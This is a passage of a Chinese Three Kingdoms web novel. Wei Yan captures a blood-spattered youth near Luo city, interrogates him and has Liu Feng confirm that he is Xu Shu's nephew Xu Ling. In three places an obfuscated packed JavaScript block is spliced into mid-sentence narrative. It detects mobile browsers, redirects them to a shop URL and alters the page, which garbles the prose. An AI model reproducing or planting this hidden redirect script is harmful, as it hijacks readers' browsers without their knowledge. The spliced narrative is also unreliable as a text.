《汉中月(三国)》 1. 零一 指狼为鹿 建安十八年,刘备亲率大军谋夺益州,与刘璋相据雒城。 秋风渐起、满目萧瑟,刘备大军的先锋营中,一队刚吃过飧食的士卒三两结伴,边走边聊,今晚正轮到他们夜巡。 “听说了吗?夏侯渊的小儿子去岁新婚夜暴毙,连新妇都跟着殉情了。” “对对对,听说夏侯小郎君体弱多病,因此那徐氏女是特意按照命理相术精挑细选出来的,还说是能为夫君祈寿延年呢!” “哼,定是那小郎君不懂节制,新婚夜元阳耗尽。新妇才是可怜,被夏侯渊迁怒,身不由己,只能随夫君去了。” 士卒们推开拒马,发现魏延已经等在营门前。 他看上去也就二十几岁,穿了件因多次浆洗而显得有些陈旧的靛青劲装,发髻用青帻包裹,腰间悬挂一柄朴素佩剑。与这副毫不起眼的打扮相比,他本人却极为醒目:不仅比寻常军卒魁梧许多,而且四五十斤的长刀拿在手里轻轻松松,动作丝毫不显滞涩。 在这样一位将官的注视下,众人迅速集合清点完毕,队伍里再无半点闲谈之声,几十双眼睛都只向他望去、等着听他调拨。 魏延分拨兵卒、自领一队,借着月光朝一团影影绰绰的械斗之人迅速靠拢。凑近到能辨认人数的距离,刚依稀看清是五六名壮汉在围攻一位少年,前方就变故骤起:一抹殷红从一名壮汉胸口喷薄而出,少年脸上随之溅满血污,但他毫不迟疑,将壮汉尸身当做盾牌向前猛地一推,随即借力翻到对面,又是咯吱几声闷响,另一名壮汉喉间血如泉涌,也直直地倒了下去。 “留活口!” 魏延一边全力向事发地狂奔,一边朝身后小队厉声喝令。那少年如此凶悍,只怕再晚一步,壮汉就要被他绞杀殆尽。兵卒迅速呈扇形包围而上,两三人一组,将壮汉与少年都纳入圈中,然后阵型逐渐收拢,把各条退路都完全封住。 感知到附近情形生变,剩余壮汉彼此一望,都在对方眼里看出了举棋不定:是继续围剿少年为同伙报仇,还是先尝试脱身?然而少年面对夹击却并不犹豫,趁着距离最近那名壮汉走神的瞬间,手持短剑欺近他心脏。 可就在这时,几组兵卒相继赶到,第一组架起盾牌将少年逼退,第二组抢在少年再次出手前,将壮汉拉入阵中,第三组一拥而上,将壮汉捆绑得严严实实。少年立即意识到,这些兵卒训练有素,远胜壮汉那样的乌合之众。于是不敢恋战,身形一闪,向着几组兵卒进退之间露出的一道缺口夺路而逃。 刚跑出几步,就听见一声兵刃破空的嗡鸣,由远及近从背后传来。随即一柄长刀堪堪贴着耳边呼啸擦过,在少年肩上划出一道血痕,直直钉入身前老树,将这条去路彻底阻断。寒光如镜的刀刃映出了少年脸上明晃晃的惊异:看上去就很沉的长刀,刀刃居然有一半都嵌进了树干。可想而知,掷刀之人有着多么可怕的膂力。 少年强行收摄心神,转身重新估量局势:随着壮汉均被擒押,兵卒行进间那道缺口也就稍纵即逝。现在他们已结好阵型,只等自己入彀。他望向那位穿着不同服色的青年将官:擒贼擒王,看来目前唯一的出路,就是将此人斩杀,引发一场新的混乱,趁机脱身。 思量已定,少年足尖点地,整个人凌空飞掠一丈有余,短剑泛着青芒朝魏延手腕削去。魏延轻轻挑眉,眼中闪过一抹兴味盎然的笑意,一边抬手示意兵卒站稳各自阵列不要上前、就让他与这少年单打独斗,一边佩剑出鞘,正面荡开这一击。少年只觉手臂被震得发麻,不由得连退几步。魏延也不急于追赶,只是用剑尖朝少年肩膀的伤口晃了晃,那里已经随着动作撕扯出更多血迹: “小郎君,你很够胆量,但还杀不了我,弃剑受缚吧。” 少年默然不语,片刻之后缓缓蹲下身,把短剑平放在地。早已准备就绪的兵卒拿着绳索就要上前,却再次被魏延拦住,亲自接过绳索,朝少年一步步走近。 少年身高约六尺五六,喉结处只有一抹极其浅淡的轮廓阴影,年纪最多十六七岁。脸上满是刚才杀人时溅上的血污,已经看不清容貌。一只眼睛被糊得几乎要睁不开,但另一只没被糊住的眼睛圆润黑亮,让魏延想起几天前猎到的一头幼鹿。 忽然,那双鹿眼完全睁开了。 少年挑起脚边短剑,高高跃起,劈向魏延近在咫尺的肩颈。魏延眼中的笑意更深了些,抖开绳索延缓来剑势道,随即反身挥剑去砍少年左臂,少年迅速扭腰躲开,不仅化险为夷,还挽了个剑花,朝他面门刺去。魏延不闪不避,正要挺剑硬接,少年却在半途改了方向,显然对魏延的膂力心有余悸,尽量避免强行对碰。 但魏延并不打算这么放过他,跨步上前,以沛然莫御的威势再次正面迎向少年剑锋。两人距离被骤然拉近,少年失去了转圜余地,只能勉强拦挡,结果手臂再次被震得酸痛。趁他迟钝这刻,魏延变砍为拍,厚重的剑脊狠狠砸中少年手背。一声压抑不住的痛呼从少年紧咬的牙关迸出,短剑脱手,同时膝弯也挨了一脚,整个人不由得向前栽倒。他伸手稍作支撑,试图旋身避开,却实在力气不济,踉跄了一下,双腕立刻就被紧紧缠了几道皮筋。 魏延拾起那柄掉落在地的短剑,剑刃布满细小划痕,剑脊和护手附近都有血渍残存,看来经历过不少惨烈厮杀。用指节叩弹剑身,会发出清越的金石之音,想必锻造之人花费了不少心思,选材用料很是考究。剑鞘之外原本有一层灰布,但激战之后已经松脱,露出了镶刻在鞘面上的繁复铜纹和数枚玉石,在月光下泛着淡淡晶光。与其说是杀伐利刃,倒更像来自某个世家大族的仪仗礼器。 魏延走到少年面前细细打量:长发用几根麻绳束紧,身上是平民黎庶常穿的粗布复褐,行縢从膝盖一直缠到脚踝,芒鞋边缘也有磨损,实在与那柄装饰华美的短剑毫不相称。难怪要用灰布将剑鞘包裹起来,多半是担心过分招摇会引来觊觎。 注意到少年警惕地环顾四周,似乎在努力寻找脱身时机,魏延轻哼一声,拎起下摆,从自己衣袍撕出一条布料,将那双鹿眼蒙住。或许因为缠绕得有些紧,幼鹿用力甩了甩脑袋试图挣脱,魏延却不理会,反而抬手又打了一个死结。 被擒获的三名壮汉都已经被兵卒蒙上了眼,魏延示意举高火把,开始例行搜身。其中两人身上都只搜出来几枚五铢钱和一袋干粮,但另一位头目模样的,怀中却藏有一卷沾着汗渍的黄纸和一幅质地细腻的绢帛。 那卷黄纸已经被揉得皱巴巴,右侧追捕令三字被蹭掉一半。这并非官府敕令,而是用于私人寻仇的暗道图影。只不过绘图技法太过粗劣,估计是根据许多含混不清的口述潦草画成,之后又几经修改,如今已无法辨认,倒是下方几列小字还算清晰: 姓名 徐绫 生年 建安二年 身高 六尺五寸 乡音 颍川 除了没听少年说过话,无法判断乡音,年龄和身高倒是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486418|202034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都能跟这张来历不明的追捕令对得上。魏延瞥了少年一眼,按下心中疑窦,继续看赏格部分: 验明正身后 活口 百金 尸身 八十金 首级 五十金 一般悬赏都是以首级为凭证,便于携带与核实。若悬赏活口,则多为寻人,通常不会接受尸身。可这张追捕令,非但生死不论,还开出了令人瞠目的天价。似乎在事主眼里,只要能确认抓到的是这个徐绫,一切就算有了交代。 那幅绢帛是常见于世家大族用来联姻议婚的工笔仕女图,画中女子不过十一二岁,面容还很稚态,却盛装浓抹立于庭院之中,手持竹简、姿态娴静,只是显得有些紧张,缺少了几分生机。画像旁边也有两列小字: 户籍 颍川阳翟徐氏 年柱 建安二年孟秋 颍川?建安二年? 魏延立刻去翻那卷黄纸确认,没错,追捕令上的徐绫和图中少女都出生于建安二年、都来自颍川。难道他们是同一个人?那少年竟是女扮男装?他忍不住又去望了一眼少年,不对!那双鹿眼!他回望仕女图,果然,画中少女是平顺狭长的垂眼。 就看那狠戾凶顽的模样,也知道不可能是女扮男装嘛…… 魏延收好黄纸与绢帛,轻轻摇了摇头,不明白自己怎会如此异想天开。他转向少年,动作利落地掠过腰腹,搜出一只颇为粗糙的鹿皮袋,味道腥膻、连毛发都未剃干净,一看就是外行缝制。不知为何,稍微想象一下幼鹿剥鹿皮的场景,就觉得有些心酸地好笑。不过这么一想象,少年似乎也没那么像幼鹿了,倒更像那匹跟他抢猎物的小狼,身量未足却隐含凶光。 解开鹿皮袋,里面装了几圈麻绳、一只用猪泡制成的水囊、一包用树叶裹着的干饼,还有一方散发药香的布兜。魏延低头嗅了嗅,认出布兜里面是七锦兰粉末。这是一种生长在雒城附近的野草,可以止血,他自己也常常带领部卒在巡逻时采摘一些带回营中备用。可见,少年山野生存经验丰富,也不嫌弃血皮脏污,与那柄看起来就只适合供奉在香案上远观欣赏的华美短剑显得更加不相称。 魏延继续探查少年的腋下和胸背,以防藏有兵刃、毒物或信件。这时,他敏锐察觉出少年身体有轻微的僵硬,连呼吸都出现了稍许凝滞。 这反应,倒真像是出身士族的小郎君。这些人都娇贵得很,面皮也薄,自然不习惯被搜检。 魏延心里取笑,动作并未停下,只是稍稍收敛力道,变得更轻更快。随即又在少年行縢触碰到不正常的硬感,解开绑腿,许多散碎金块哗啦啦跟随布条一同掉落在地,泛着冷黄光泽。 刘备与刘璋两军在雒城反复推拒,战事已焦灼数月之久,营寨自驻扎以来就没挪动过。被征调来的民夫、樵采取水的周边百姓、还有做货殖营生的外乡商贩,都已经习惯只在定界活动,就连盘踞附近的山匪也摸清了有哪些地方绝不能靠近。可壮汉却顶风作案,非要在大军周围动手,要么是远道而来不明所以,要么少年身上有什么宝物、或是少年本就身份特殊,让他们甘冒奇险。 现在搜身结束,少年衣着简朴却携带黄金利刃固然可疑,但除此以外也没什么特殊物品,那就只可能是身份特殊了。益州地界,各方势力犬牙交错。不仅有正在交战的刘备与刘璋,还有经营着五斗米道的汉中张鲁和始终对汉中虎视眈眈的夏侯渊。无论与哪方有牵连,都该带回大营问个明白。 2. 零二 编,接着编 魏延命人将少年单独关押,自己先去审问壮汉。步入营帐,示意看守给他们解开蒙眼布。壮汉眯缝了好一会儿才勉强睁开眼睛,其中一位在看清魏延面容的瞬间就发出一声惊呼。魏延这时也认出了此人,嗤笑一声: “冯武,你在左将军面前惺然作态才过去多久,这就迫不及待要重操旧业了?” 刘备带领大军从白水关一路南下成都,沿途清剿过不少盘踞山野的匪寇,这位名叫冯武的壮汉就是其中一位小头目。刘备怜悯他老母在堂无人侍奉,于是允他回去垦田务农,未将其充入军营打苦工。被魏延点出姓名,冯武那张焦黄的脸上露出几分惶然: “将军容禀,小人自从得了刘使君恩典,一贯谨遵劝令,安分耕种。只不过,这回赏金实在太高,仅首级就能换取五十金,所以才铤而走险,绝非有意辜负使君大恩啊!” 魏延在冯武面前展开那卷黄纸,指了指那潦草画像: “这等胡乱涂鸦,你也信能换来五十金?” “若只有这张追捕令,小人必然不信,毕竟小人也是带领百余名弟兄在这秦岭南山纵横过十余载……”注意到魏延脸上闪过一丝蔑笑,冯武赶紧结束了自吹自擂,回归正题,“从前跟随小人的兄弟,在刘使君神威天降时,跑去汉中投了五斗米道,是他给小人捎来的消息。还有那幅绢帛,也是他给小人带来的。说画中女郎是天子妃嫔,被那叫徐绫的歹人掳掠出来。天家之事嘛,赏金自然是高的。” 魏延冷哼一声,眼中蔑笑更深。天子被曹操挟持,远在许都,而且重重监管。后宫妃嫔怎么可能被一位少年掳走?但他料想,冯武即便有胆量在自己面前说谎,也不至于编造这种荒谬之言。若剥离天子妃嫔这层表皮再来思考,或许画中女郎确实牵涉到某位远在中原的高官权贵,又碍于什么原因不肯对下属明言。少年与女郎之间的关系虽然尚不明朗,但他成功突破了夏侯渊镇守的关中,流窜到被五斗米道控制的汉中,中原势力无法公然搜寻,只能暗地勾连当地匪帮。转包再转包,故事也就越传越离谱。 “你如何认定那少年就是追捕令上的徐绫?” “回禀将军,并非小人认定,”冯武转向旁边稍微年轻些的壮汉,“是这位从前跟随小人的兄弟觉察出那小子不对劲!” “回将军,冯家阿兄早就将追捕令给小人看过,那赏金……”年轻些的壮汉被魏延盯得浑身不自在,缩了缩脖,“总之,小人格外留神。那小子前日傍晚来到小人家中借宿,虽然极力模仿本地土话,但有些腔调很是奇怪,而且临走时留下了几块散碎金子。一个外乡小子,孤身游荡、出手豪阔,必是条大鱼——”被魏延一道眼刀钉来,年轻壮汉紧急咽了口唾沫,“必是……必是有点问题!所以就去讲给了冯家阿兄。原本我们只想试探一二,谁知那小子奸猾得很,一听我们喊他名字就跑得飞快,那肯定不会错了。” 魏延目光森凉,紧锁住这位年轻壮汉: “他衣衫简陋,连换件锦袍的钱都不愿出,岂是随意露白之人?当着我的面都敢扯谎,嫌命长么?” 年轻壮汉瞄了一眼冯武,但冯武哪里敢公然交头接耳,只做看不见。年轻壮汉被魏延看得心里直打晃,小声支吾: “小人家中有老母孕妻幼子,米粮不济,原本不想分他粥饭。是妻室坚持,才施舍他一些,因此他临走时就留了些碎金。” “如此说来,你妻与他俱是善心,唯有你死性不改。” 听出魏延声音似有杀意,旁边的冯武赶紧接口: “将军容禀,您想,那歹人掳走天子妃嫔,现今却身怀重金孤身在外,定是卖了那天子妃嫔,这才得来了许多不义之财!我们虽有贪念,但也算替天行道,为那小女郎报仇了啊!” “不知廉耻。” 魏延挥手让看守将他们堵上嘴严加看管,这些供词半是真话半是臆测,但少年试图隐藏乡音、听到名字望风而逃,如此警惕,倒确实符合被悬赏追捕的身份。 另一间营帐里,少年跪坐着被绑缚在梁柱上,蒙眼的布条未解,肩上血迹已经凝固成暗红。听闻脚步声踏入,他不安地挪了挪身体,更像被捕兽夹困住的小狼了。魏延挥退守卒,独自上前蹲到他对面,大手一探,扯住那根蒙眼布条,靠蛮力直接拽断。骤然收紧的布条狠狠擦过皮肤,让小狼喉间溢出一声低呜,也带下一片混合着尘土的血污,露出了原本肤色:那是匀润的浅蜜,如同浸染过露水的秋麦。没有了血垢遮掩,少年的眉眼似乎有些过于秀美精致,再加上由于不适应光线而泛出的星星泪花,显得更加楚楚可怜。 “徐绫,原来你是偷窃财物私逃的小贼。既然人赃并获,这就将你连同赃物一并交还给主家发落。” 魏延故意甩出徐绫这个名字,直视着那双鹿瞳,不放过任何一丝可能的波动。但少年只是蹙起秀气的眉尖,一片茫然: “徐绫是何人?将军是在唤我?小人姓单名衿,是关中良民,并非仆从,更未曾偷盗过财物。那些金子是母亲变卖家产换来的路资,只是不小心露了白,所以被那些歹人盯上,险遭不测。” 听出单衿的尾音中确实隐约藏有颍川腔调,与追捕令记载的特征吻合,魏延心中有数,面上却不动声色,顺着他的话追问: “那么小郎君原本打算去往何处呢?” “去荆州投奔族父。” “哦?那你可知此地是何处?” “战乱频仍,小人不慎与家人走散,又是第一次出远门,近日才知走错了方向,竟是误入成都附近。正打算寻江水东下,不想却遇到歹人。若非将军相救,小人早已尸骨无存。” 相救? 魏延几乎失笑出声,这小郎君方才在林间面对壮汉围攻时,何其游刃有余。面对自己时,萦绕周身的凛冽杀意又何其坚定。需要相救的哪里是这小郎君,分明是冯武和那些同伙。如今少年摆出这副泫然欲泣的无辜面孔,看来是打定主意要跟自己兜圈子斗智到底了。魏延忽然来了兴致,索性盘膝而坐,支起下颌,将那柄华美短剑举到单衿面前: “这宝剑你是从何处偷来或是抢来的?” “将军怎能信口污蔑!此剑是小人家传之物!” 单衿脸上闪过一抹愠怒,声音也随之抬高几分。魏延点点头,甚至露出少许对于那句冒犯的歉疚,向前微微倾身,语气温和: “你方才说去荆州投奔族父,他叫什么名字,在何处落脚?我们这里多的是荆襄兵卒,或许有人认识,还能帮你指路呢。” “小人伯父讳福、叔父讳亮,早年间因避乱南迁江陵。至于具体街市方位,母亲只提过一次,小人已不记得,需得到了再慢慢寻问。” “单福,单亮?”魏延念着这两个名字,低低笑了笑,“巧了,我也是荆襄人,怎么不知江陵还有这等人物?” “黎庶之家,将军自然不认得。” 单衿对答如流,魏延却哂笑一声,解下腰间佩剑,与那柄短剑并列一处。只消一眼,就知道二者可谓霄壤之别。与那柄短剑的金雕玉饰截然不同,魏延的佩剑是军中寻常制式,剑柄缠绕着灰色棉绳,经由刚才一番打斗出现了少许磨损,剑鞘被墨黑皮革包裹,接缝处走线笔直均匀,铜箍虽然已经被磨得光滑,却只有油亮而没有丝毫锈蚀痕迹。显然,尽管这柄佩剑十分普通,但始终被剑主精心保养着。魏延轻柔抚过短剑剑鞘镶刻的精美铜纹,望向单衿: “如此名贵宝器,是真正出身寒微之人断不敢奢望拥有的。若你所言非虚,此剑是你家传之物。那么即便落魄,投奔的也只会是世家士族,绝不可能是什么默默无闻的黎庶之家。小郎君,依我看,你方才编的那通鬼话,恐怕只有一句是真的。那就是,你确实是第一次出远门。此处与江陵南辕北辙,若要扯谎,实在没必要编造如此遥远的地点。” 魏延眸光转冷,手中剑锵然出鞘,一道冰凉寒意瞬时横在单衿颈前: “小郎君,最后给你一次机会,把身世来历从实招来。否则,格杀勿论!” 单衿垂眼扫过几乎紧贴在自己喉咙的锋刃,他背靠梁柱,本就退无可退,但还是浅吸一口气,向后努了努,尽量离剑身远一点: “将军明鉴,我确实不叫单衿,而是颍川徐绫,子衿是我的表字。我伯父是刘使君在新野时的僚属,徐福徐元直。噢,彼时他应当用的是另一个名字,徐庶。我自幼承蒙伯父教诲,对刘使君心向往之,故而前来投奔。那些歹人抓我回去,是奉了曹公之令,为的是威胁震慑伯父。” 魏延虽未见过徐庶,但他投效刘备多年,对这位被迫归曹的名士有所耳闻。知道那人不仅学问精深,年轻时还曾仗剑任侠,是文武兼备的奇才。若少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486419|202034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年当真是徐庶亲眷,且徐庶心念旧主,那么曹操因此派人追捕一位可能尽得其真传的族侄,少年身上的种种矛盾之处倒也勉强都能说得通。 但他还是觉得哪里不对劲,一边收剑入鞘,一边继续狐疑地打量着徐绫,与那双鹿眼不期而遇。 对,鹿眼! 魏延想起来,刚抓到徐绫时,这双鹿眼就在滴溜溜地打量四周。当时以为他在琢磨如何脱身,但或许是在观察兵卒的衣甲服色、从而判断隶属于何方麾下呢?魏延从盘坐改为半蹲,居高临下紧紧盯住徐绫: “既然你是徐先生亲眷、特意来投,为何不亮明身份,而要化名单衿,编造那番荆州投亲之语?是不是因为,你那时根本不知道这里是何人营寨。因此,投奔刘使君云云,不过就是第一个谎言被我戳破之后,又现编出来的另一套故事?” 徐绫轻轻笑了笑,不仅没被魏延的压迫气势吓到,反而摆出一副近乎好整以暇的从容姿态: “将军何出此言?我一个小孩子,孤身在外,自然诸事小心。所以,还要多谢将军方才为我解惑定心呢。” 什么解惑?如何定心? 魏延先是一愣,随即豁然开朗:徐绫那套漏洞百出的荆州投亲之说,根本就是故意丢出来的诱饵!刘备、刘璋、张鲁、夏侯渊,益州这几股势力之中,唯独刘备军拥有大量荆襄出身兵卒。正是自己,以荆襄人为突破口,自以为抓出了徐绫的破绽,其实反而帮他认定此处确为刘备军营,所以才放心表明身份。从头到尾,都是这小郎君在掌控节奏。 一团被戏弄于股掌之间的灼热恼意从魏延心底猛地窜起,他霍然起身,魁梧的身躯将徐绫完全笼罩在阴影里。可迎上那双弯成月牙的眼眸,满腔怒火却又好似被投入一片镜湖,咕咚咕咚,漫出层层叠叠难以言说的憋屈闷堵在胸口:行事谨慎有什么错呢,反而该夸他小小年纪却老成持重才对。 一时间,帐内陷入了有些尴尬的寂静。忽然,“滋"的一声响起,两人同时转头去看:原来是浸在灯油里的烛芯,燃断了。 “你既前来投奔左将军,可有徐先生的凭证信物?” “有伯父与刘使君新野离别时获赠的一枚玉环,就藏在髀侧。请将军将绳索解开,我取来与你验看。” 解开绳索?魏延摇头,这少年诡计多端,可不敢放松警惕。于是,他直接伸手,沿着徐绫右腿膝窝摩挲而上。 “另一边!左腿!” 徐绫从紧咬的牙关之间挤出一声低喝,魏延感到指间半拢着的那片肌肉瞬间绷得格外紧实。不明白这少年为什么反应如此剧烈,魏延有些错愕地抬眼,发现徐绫正恶狠狠地朝自己瞪过来。 噢,差点忘了,小郎君脸皮薄得很。 魏延牵出一丝讥笑,收回手,转而去拿自己那柄佩剑,顺着徐绫左腿用剑鞘一路按压过去。感知到异常之后,尖刃在裤管划开一道细小缺口,露出了玉石的晶润之色。 之前在林间搜身时,就是看这小郎君年纪轻、脸皮薄,自己一时心软,动作太过轻快,才没能发现髀侧竟然还藏有东西。幸好只是玉环,不是什么剧毒凶器,未酿成大祸。 魏延盯着那枚隐藏极深的玉环,刚要伸手去拿,余光瞥见徐绫扭过脑袋,眼里隐隐泛出水光。魏延眼角微微一撇,这小郎君未免有些过于娇嫩。尽管还在懊恼此前搜查不够仔细,可身体已经早一步做出了反应:他再次缩手,改用剑尖将玉环从衣料间挑起,接到掌心迎着烛火端详:玉质温润无暇,环身清晰镌刻着四枚古篆小字。 “昏以为期……”魏延喃喃念着刻字,只觉读起来颇为缱绻,“怎么像是婚仪祝词?” 他下意识地望向徐绫,却见那双鹿眼里倏地飞过一抹促狭,带着几分终于扳回一城的洋洋自得开始侃侃而谈: “曰黄昏以为期兮,羌中道而改路。屈子常以香草美人、婚姻盟誓,喻指君臣际遇。刘使君赠予伯父这四个字,便是期盼有朝一日能如爱侣黄昏相约般再度携手共事,实乃刘使君对伯父的一片至诚之义。” 一连串文绉绉的词藻,配合着些许士族子弟特有的傲气,劈头盖脸朝魏延丢来,让他不禁皱了皱眉,神色窘迫。他对文章典故涉猎不多,无法判断此番说辞的真伪,但此刻更令他如芒刺背的,还不是自己这份无知,而是徐绫脸上漾出的盈盈笑意。 3. 零三 青青子衿 魏延清了清嗓子,强行抛开那点不自在,拿过绢帛向徐绫展开: “认得?" 徐绫抬眼凝视着画中女郎,久久没有移开视线,魏延只能看见烛火在圆亮的鹿眼里轻轻摇曳,深邃莫测。他收起绢帛,伸手在徐绫眼前晃了晃: “需要看这么久?还是又在编什么故事?” 徐绫淡淡瞥了他一眼: “这小像画成至少有四五年,虽然知道是我族妹,但也要仔细辨认才好回话,否则岂不又要引来将军的利刃加身?” 能用得起这种规制的绢帛画像,一笔写不出两个颍川徐氏,少年若矢口否认才更可疑。因此无论真假,徐绫必然都会说认识。他要做的,就是从中尽力找出破绽。想到这里,魏延轻哼一声,不逞口舌之快,静待下文。 “伯父弃刘归曹,曹公颇为爱重,欲结亲以示恩宠。这画像就是那时所绘,画中族妹已于去年嫁到关中。我们年纪相仿、容貌接近,想必追捕之人没有我的画像,就用她的权作参考。” 容貌接近? 魏延略一皱眉,忍不住又看了看那张绢帛:哪里接近了?不仅眉眼有差,气质更是迥异。 “既是恩赏姻缘,你也是徐氏子弟,还是男丁,为何却没有画像以备议婚?” 徐绫极轻地扯了扯嘴角,似乎对于给他这武夫解释士族之间人尽皆知的规则感到很不耐烦。神色恹恹,语气凉凉: “颍川士族林立,徐氏根基浅薄,我彼时年纪尚幼、前程未卜,若强行攀附贵女,定然开罪高门。曹公纵然偏爱伯父,也不至于做这种赔本生意。可赐婚于我族妹,就简单许多。只要对方家世门第合得上曹公那番恩赏的心意,新郎性情如何、妻妾几多,都不必细究。仅仅是允许族妹嫁过去,便已是对伯父和我们徐氏莫大的抬举。更何况,对方还许给族妹正室之荣,足见诚意呢。” 虽然徐绫说着什么荣光什么诚意,但魏延听话听音,总觉得他对族妹这位新郎颇有怨气。再次望向画中少女,眼中不禁浮现出几许怜悯:十一二岁的幼龄,盛装入画,却全然不知自己的命运已被悄然定下。 等等,刚才说这少女什么时候、嫁去了哪里?去年?关中? 最近军营里关于夏侯渊幼子去岁新婚夜暴毙传闻中那个殉情的新妇,是不是,姓徐? “你可知,这位族妹嫁去了哪家?近况如何?” “长安。嫁给了夏侯妙才将军家的小郎君,似乎名唤夏侯称。至于近况,关中与邺城相隔千里,她成婚不久、我奔逃在外,自然并无音讯。不过将军既然发问,莫非知道些什么?” 魏延呼吸微顿,避开了徐绫投来的探询目光,喉结滚动,却只是缓缓摇头,没有说话。关于夏侯小郎君新婚夜那些或靡艳或荒诞的传闻,不该在这时候、也不该由他,来告知眼前这位很可能是新妇兄长的少年。 他沉默俯身,开始为徐绫解开绳索。脸颊被几缕温热鼻息拍拂而过,不禁抬头,却见徐绫正一瞬不瞬盯着他,似乎在等待更多解释。 “你且歇着,至于真假,我自有分辨。” 没有更多解释,魏延只撂下这句话,就转身掀开帐帷,吩咐兵卒去准备热水和吃食。 徐绫的说辞虽然道理通顺,但魏延还是觉得推论过多、证据太少。而且没有一次老老实实全盘交代,总是被揪出了什么疑点,才会抛过来一个貌似合情合理的新故事。况且他所在的先锋营,距离刘备所在的中军大帐,足有四五里之遥。抬头望了望天,月色被黑云遮掩,星光微弱、夜已深沉,此时贸然惊扰并不妥当。略一沉吟,他想到一个合适人选:同在先锋营的长公子刘封。 刘封之前跟随诸葛亮从荆州溯流西上、合围成都,前几日刚被派来雒城商讨军机。作为刘备养子,少年时与徐庶在新野应当有过交往。魏延略去冯武那套天子妃嫔的荒谬臆测,只简要陈述擒获一位自称徐庶族侄的少年,手持信物,需请长公子协助辨认。 帐门被掀开时,徐绫正坐在桌案前小口小口地咬着一张胡饼。听到动静抬眼望去,进来的是一位华服青年,英挺沉毅,腰间悬挂一柄佩剑,剑鞘镌刻的鎏金纹饰在烛光下随着脚步蜿蜒流动。徐绫望向魏延,以为他会介绍,但魏延一言不发,只是看着这位青年。华服青年在看清徐绫容貌的瞬间微一晃神,随即收敛情绪,在他身前几步远的地方负手站定: “听闻你自称徐元直先生族侄,请为我详细言说徐先生的容貌装束。” “伯父身长八尺,颔下微髯、面有风霜、肤色如蜜合。常着青衫,束素色葛巾,腰悬长剑。行走时,步阔而急,仿佛总有要事在身。与人交谈时,却语缓而意切,有慈师之相。” 徐绫答得不假思索,华服青年不置可否,又继续询问了一些关于徐庶生活习惯、读书偏好、饮食口味之类的事情,聊得越深、心底越是笃定,此前一直保持的审慎面孔也随之逐渐放松下来。 “徐先生可曾向你提过关于刘使君长子刘封刘公培的什么轶事?” 徐绫微微一怔,随即唇角扬起一弯有些调皮的弧度,忍俊不禁: “记得伯父提过,这位长公子年少时不喜经史、专嗜弓马。有一次还用花汁敷面,试图装病以逃避课业——” “贤弟!”华服青年猛咳一声,脸上泛出十足的慌张,“这部分……就不必细讲了!” 徐绫眨眨眼,笑意越来越深,乖巧地点了点头。随即放下还没吃完的胡饼,站了起来。略整衣襟,躬身长揖道: “原来足下就是长公子,恕绫失礼。” 即使依旧身穿那件脏污复褐,但魏延望着徐绫从容端方的模样,忽然觉得,即便并非徐庶族侄,也必然出自哪家士族。就像那柄华美短剑,固然可以像自己的佩剑一样浴血厮杀,可终究是需要被精心供奉的礼器,属于一个自己很陌生的地方。 退出营帐,刘封与魏延并肩走在夜幕中: “文长,当年父亲与元直先生新野分别之时,确实赠予过一枚玉环,但我其实不记得具体是何模样。不过那少年的眉眼神情,与元直先生极为相似,所言旧事细 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486420|202034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 节也准确无误。尤其是……”他有些尴尬地笑了笑,“尤其是那件私密小事,若非与元直先生极为亲近,如何得知?元直先生当年在新野与父亲情谊深重,既然是他的亲眷,应尽快呈报,看父亲能否拨冗相见。” 魏延点头称是。虽然仍有许多疑虑,但刘封这番话至少让他对徐绫的来历有了七八分把握。回到营帐,他摊开笔墨,准备修书上呈中军帐言明前后故事,请求示下。 “巡哨获一郎君,年十七。自称徐元直族侄,名绫。携玉环一枚,称系明将军赠予徐先生信物。长公子询以旧事,细节皆符。” 写到这里,魏延停了下来。思虑片刻,决定就此搁笔。那些传闻与推测,还是当面陈奏更为妥当。他用笔杆蘸取蜡油,淡黄的蜡液一滴一滴掉落在封口,冷却成硬痂,就像徐绫肩上那道伤口。魏延忽然起身,走向营帐角落,掀开了放在那里的箱笼盒盖。 既然刘备与徐庶情谊深厚,看到这封信以后,想必很快会召见徐绫。他那身复褐已经破破烂烂,还沾染了许多血污,这样觐见,未免……太过失仪。 魏延拎起放在最上面的一件灰衣,准备拿给他应急。走了两步,余光瞥见了从徐绫那里收缴的短剑,停了下来。 烛火明灭,铜制剑鞘也随之忽亮忽暗地映出朦胧的虚影,玉石也流动着幽微的光,与他手中这件粗布衫格格不入。烛焰忽的跳了一下,把铜面上那双朗星似的眼睛霎时照得亮堂。 魏延看到了那双眼睛里一闪而过的犹豫。 